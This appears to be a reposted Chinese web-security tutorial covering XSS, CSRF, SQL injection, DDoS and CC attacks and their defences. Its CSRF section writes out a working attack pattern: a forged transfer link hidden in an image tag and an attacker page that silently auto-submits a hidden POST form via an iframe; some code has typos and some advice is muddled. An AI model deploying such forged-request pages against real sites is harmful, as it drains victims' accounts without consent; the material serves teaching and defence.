xss攻擊、csrf攻擊、sql注入


1、xss攻擊,跨站腳本攻擊值得是攻擊者在網頁中嵌入惡意腳本程序,當用戶打開瀏覽器,腳本程序便開始在客戶端的瀏覽器上執行,一盜取客戶端cookie等信息,利用系統對用戶的信任。

防御措施:將html轉移處理htmlspe

2、csrf攻擊是跨站請求偽造,攻擊者盜用了你的身份,以你的名義向第三方網站發送惡意請求,利用系統對頁面瀏覽器的信任。

防御措施:①將cookie設置為HttpOnly。如果cookie中設置了HttpOnly屬性,那么通過js腳本將無法讀取到cookie信息,這樣能有效的防止XSS攻擊,竊取cookie內容,這樣就增加了cookie的安全性。

//設置cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

②設置token

③通過refer識別:根據http協議,在http投中有一個字符安叫refer,它記錄了該http請求的來源地址

3、SQL注入,通過預處理可以解決

csrf攻擊的具體方法

  • 假設某游戲網站的虛擬幣轉賬是采用GET方式進行操作的,樣式如:
    http://www.game.com/Transfer.php?toUserId=11&vMoney=1000

     此時惡意攻擊者的網站也構建一個相似的鏈接:

      1、可以是采用圖片隱藏,頁面一打開就自動進行訪問第三方文章:<img src='攻擊鏈接'>

      2、也可以采用js進行相應的操作

    http://www.game.com/Transfer.php?toUserId=20&vMoney=1000         #toUserID為攻擊的賬號ID

  1、假若客戶端已經驗證並登陸www.game.com網站,此時客戶端瀏覽器保存了游戲網站的驗證cookie

  2、客戶端再tab另一個頁面進行訪問惡意攻擊者的網站,並從惡意攻擊者的網站構造的鏈接來訪問游戲網站

  3、瀏覽器將會攜帶該游戲網站的cookie進行訪問,刷一下就沒了1000游戲虛擬幣

  • 將由鏈接GET提交數據改成了表單提交數據
    //提交數據表單
    <form action="./Transfer.php" method="POST">
        <p>toUserId: <input type="text" name="toUserId" /</p>
        <p>vMoney: <input type="text" name="vMoney" /></p>
        <p><input type="submit" value="Transfer" /></p>
    </form>
    Transfer.php

    <?php 2     session_start(); 3     if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney'])) #驗證 4     { 5      //相應的轉賬操作 6     } 7 ?>

    惡意攻擊者將會觀察網站的表單形式,並進行相應的測試。

      首先惡意攻擊者采用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)進行測試,發現仍然可以轉賬。 

      那么此時游戲網站所做的更改沒起到任何的防范作用,惡意攻擊者只需要像上面那樣進行攻擊即可達到目的。

      總結:

      1、網站開發者的錯誤點在於沒有使用$_POST進行接收數據。當$_REQUEST可以接收POST和GET發來的數據,因此漏洞就產生了。

  •  這一次,游戲網站開發者又再一次認識到了錯誤,將進行下一步的改進與升級,將采用POST來接收數據

      Transfer.php

    1 <?php
    2      session_start();
    3      if (isset($_POST['toUserId'] && isset($_POST['vMoney']))  #驗證
    4      {
    5           //相應的轉賬操作
    6      }
    7  ?>

     此時惡意攻擊者就沒有辦法進行攻擊了么?那是不可能的。

      惡意攻擊者根據游戲虛擬幣轉賬表單進行偽造了一份一模一樣的轉賬表單,並且嵌入到iframe中

    嵌套頁面:(用戶訪問惡意攻擊者主機的頁面,即tab的新頁面)

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>攻擊者主機頁面</title>
        <script type="text/javascript">
        function csrf()
        {
            window.frames['steal'].document.forms[0].submit();
        }
        </script>
    </head>
    <body onload="csrf()">
    <iframe name="steal" display="none" src="./xsrf.html">
    </iframe>
    </body>
    </html>

     

    表單頁面:(csrf.html)


    <!DOCTYPE html> <html> <head> <title>csrf</title> </head> <body> <form display="none" action="http://www.game.com/Transfer.php" method="post" > <input type="hidden" name="toUserID" value="20"> <input type="hidden" name="vMoney" value="1000"> </form> </body> </html>

     ddos攻擊:DDoS,即“分布式拒絕服務”,那么什么又是分布式拒絕服務呢?可以這么理解,凡是能導致合法用戶不能夠訪問正常網絡服務的行為都算是拒絕服務攻擊。同時它被稱之為“洪水式攻擊”,因為一旦被實施,攻擊網絡包就會從很多DOS攻擊源(俗稱肉雞)猶如洪水般涌向受害主機,從而把合法用戶的網絡包淹沒,導致合法用戶無法正常訪問服務器的網絡資源。

  • DDoS攻擊防御方法

    1.過濾不必要的服務和端口

    可以使用Inexpress、Express、Forwarding等工具來過濾不必要的服務和端口,即在路由器上過濾假IP。

    2.異常流量的清洗過濾

    通過DDoS硬件防火牆對異常流量的清洗過濾,通過數據包的規則過濾、數據流指紋檢測過濾、及數據包內容定制過濾等頂尖技術能准確判斷外來訪問流量是否正常,進一步將異常流量禁止過濾。

    3.分布式集群防御

    這是目前網絡安全界防御大規模DDoS攻擊的最有效辦法。如一個節點受攻擊無法提供服務,系統將會根據優先級設置自動切換另一個節點,並將攻擊者的數據包全部返回發送點,使攻擊源成為癱瘓狀態,從更為深度的安全防護角度去影響企業的安全執行決策。

    4.高防智能DNS解析

    高智能DNS解析系統與DDoS防御系統的完美結合,為企業提供對抗新興安全威脅的超級檢測功能。同時還有宕機檢測功能,隨時可將癱瘓的服務器IP智能更換成正常服務器IP,為企業的網絡保持一個永不宕機的服務狀態。

  • 攻擊者通過代理服務器或者肉雞向向受害主機不停地發大量數據包,造成對方服務器資源耗盡,一直到宕機崩潰。相比其它的DDoS攻擊CC似乎更有技術含量一些。這種攻擊你見不到真實源IP,見不到特別大的異常流量,但造成服務器無法進行正常連接。

  • CC攻擊防御方法

    1.注冊表修改法

    對比較小的CC攻擊有一定的作用,但對大量的攻擊就難以防御,最終導致服務器死機,網絡中斷。

    2.域名欺騙解析法

    雖然可以防御CC攻擊,但是正常流量的訪問也無法訪問,無法正常使用,跟你直接把網站關閉了沒什么區別,所以是不可取的。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM